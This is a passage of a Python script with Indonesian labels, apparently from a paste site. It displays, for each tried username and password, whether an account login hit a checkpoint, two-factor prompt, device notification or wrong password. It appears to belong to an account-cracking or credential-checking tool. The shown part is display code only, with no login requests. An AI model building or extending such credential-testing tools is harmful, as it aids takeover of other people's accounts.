  1488.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1489.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1490.                             tree.add(Panel("[bold red]OPSS, AKUN TERPASANG AUTENTIKASI DUO FAKTOR!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1491.                             printz(tree)
  1492.                         elif "Lihat notifikasi di perangkat lain" in str(resp2):
  1493.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1494.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1495.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1496.                             tree.add(Panel("[bold red]LIHAT NOTIFIKASI YANG DI KIRIM DARI PERANGKAT LAIN!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1497.                             printz(tree)
  1498.                         else:
  1499.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1500.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1501.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1502.                             tree.add(Panel("[bold red]OPSS, TERJADI KESALAHAN, LOGIN ERROR NOT FOUND!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1503.                             printz(tree)
  1504.                     else: pass
  1505.                     for opt in range(len(cek)):
  1506.                         tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1507.                         true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1508.                         tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1509.                         tree.add(Panel(f"[bold red]{str(opt+1)}. {cek[opt].upper()}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1510.                         printz(tree)
  1511.             else:
  1512.                 tree = Tree(Panel.fit("[bold blue]KATA SANDI SALAH", style = "bold grey50"), style="bold white")
  1513.                 true = tree.add(Columns([Panel(f"[bold blue]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold blue]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1514.                 tree.add(Panel(f"[bold blue]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1515.                 tree.add(Panel("[bold blue]OPSS, KATA SANDI SALAH KEMUNGKINAN SUDAH DI UBAH!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1516.                 printz(tree)
  1517.         except (Exception) as e: pass
  1518.        
  1519.        
  1520.  
Add Comment
Please, Sign In to add comment